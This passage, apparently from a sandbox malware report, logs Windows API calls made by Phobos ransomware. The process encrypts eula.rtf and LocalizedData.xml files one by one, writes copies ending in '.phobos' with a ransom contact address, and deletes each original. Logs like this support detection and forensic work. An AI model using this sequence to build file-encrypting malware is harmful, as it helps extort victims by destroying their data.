dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.960] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d130) returned 1 [0046.960] CryptSetKeyParam (hKey=0x10d130, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.960] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x18a5, lpOverlapped=0x0) returned 1 [0046.962] CryptEncrypt (in: hKey=0x10d130, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x18b0, dwBufLen=0x18b0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x18b0) returned 1 [0046.962] WriteFile (in: hFile=0x314, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x18b0, lpOverlapped=0x0) returned 1 [0046.963] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf70) returned 1 [0046.963] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.963] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0046.963] CryptDestroyKey (hKey=0x10cf70) returned 1 [0046.963] WriteFile (in: hFile=0x314, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0046.963] CryptDestroyKey (hKey=0x10d130) returned 1 [0046.963] CloseHandle (hObject=0x31c) returned 1 [0046.963] CloseHandle (hObject=0x314) returned 1 [0046.964] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0046.965] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0046.966] ResetEvent (hEvent=0x2ec) returned 1 [0046.966] SetEvent (hEvent=0x2f0) returned 1 [0046.966] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0046.966] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.966] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=60816) returned 1 [0046.966] CloseHandle (hObject=0x314) returned 1 [0046.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0046.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.966] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.966] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.967] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.967] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0046.967] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ce70) returned 1 [0046.967] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.967] ReadFile (in: hFile=0x314, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xed90, lpOverlapped=0x0) returned 1 [0046.977] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xeda0, dwBufLen=0xeda0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xeda0) returned 1 [0046.977] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xeda0, lpOverlapped=0x0) returned 1 [0046.979] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10d0f0) returned 1 [0046.979] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.979] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0046.979] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0046.979] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0046.979] CryptDestroyKey (hKey=0x10ce70) returned 1 [0046.979] CloseHandle (hObject=0x314) returned 1 [0046.979] CloseHandle (hObject=0x31c) returned 1 [0046.982] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0046.984] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0046.985] ResetEvent (hEvent=0x2ec) returned 1 [0046.985] SetEvent (hEvent=0x2f0) returned 1 [0046.985] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0046.985] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0046.985] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3726) returned 1 [0046.986] CloseHandle (hObject=0x31c) returned 1 [0046.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80 [0046.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0046.986] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0046.986] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.986] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0046.986] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0046.988] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cc70) returned 1 [0046.988] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.988] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xe8e, lpOverlapped=0x0) returned 1 [0046.989] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xe90, dwBufLen=0xe90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xe90) returned 1 [0046.989] WriteFile (in: hFile=0x314, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xe90, lpOverlapped=0x0) returned 1 [0046.991] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0046.991] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0046.991] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0046.991] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0046.991] WriteFile (in: hFile=0x314, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0046.991] CryptDestroyKey (hKey=0x10cc70) returned 1 [0046.991] CloseHandle (hObject=0x31c) returned 1 [0046.991] CloseHandle (hObject=0x314) returned 1 [0046.992] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1 [0046.993] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0047.000] ResetEvent (hEvent=0x2ec) returned 1 [0047.000] SetEvent (hEvent=0x2f0) returned 1 [0047.000] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.000] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0047.000] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=80970) returned 1 [0047.000] CloseHandle (hObject=0x314) returned 1 [0047.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0047.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.001] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0047.001] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.001] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.001] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0047.001] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ceb0) returned 1 [0047.001] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.001] ReadFile (in: hFile=0x314, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x13c4a, lpOverlapped=0x0) returned 1 [0047.003] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x13c50, dwBufLen=0x13c50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x13c50) returned 1 [0047.003] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x13c50, lpOverlapped=0x0) returned 1 [0047.005] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0047.005] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.005] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0047.005] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0047.005] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0047.006] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0047.006] CloseHandle (hObject=0x314) returned 1 [0047.006] CloseHandle (hObject=0x31c) returned 1 [0047.007] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0047.009] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0xffffffff) returned 0x0 [0047.244] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.244] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.245] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=8876) returned 1 [0047.245] CloseHandle (hObject=0x310) returned 1 [0047.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0047.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.245] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.245] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.245] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.245] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.246] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10cbb0) returned 1 [0047.246] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.246] ReadFile (in: hFile=0x310, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x22ac, lpOverlapped=0x0) returned 1 [0047.248] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x22b0, dwBufLen=0x22b0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x22b0) returned 1 [0047.248] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x22b0, lpOverlapped=0x0) returned 1 [0047.249] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cfb0) returned 1 [0047.249] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.249] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40, dwBufLen=0x40 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x40) returned 1 [0047.249] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0047.249] WriteFile (in: hFile=0x318, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xf2, lpOverlapped=0x0) returned 1 [0047.249] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0047.249] CloseHandle (hObject=0x310) returned 1 [0047.249] CloseHandle (hObject=0x318) returned 1 [0047.250] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0047.251] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.251] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.252] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=86284) returned 1 [0047.252] CloseHandle (hObject=0x318) returned 1 [0047.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0047.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.252] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.252] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.252] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0047.252] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.253] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d070) returned 1 [0047.253] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.253] ReadFile (in: hFile=0x318, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x1510c, lpOverlapped=0x0) returned 1 [0047.255] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x15110, dwBufLen=0x15110 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x15110) returned 1 [0047.255] WriteFile (in: hFile=0x310, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x15110, lpOverlapped=0x0) returned 1 [0047.257] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cab0) returned 1 [0047.257] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0047.257] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50, dwBufLen=0x50 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x50) returned 1 [0047.257] CryptDestroyKey (hKey=0x10cab0) returned 1 [0047.257] WriteFile (in: hFile=0x310, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x102, lpOverlapped=0x0) returned 1 [0047.257] CryptDestroyKey (hKey=0x10d070) returned 1 [0047.257] CloseHandle (hObject=0x318) returned 1 [0047.258] CloseHandle (hObject=0x310) returned 1 [0047.260] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1 [0047.262] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0047.262] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0047.262] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=3188) returned 1 [0047.262] CloseHandle (hObject=0x310) returned 1 [0047.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0047.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0047.262] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: 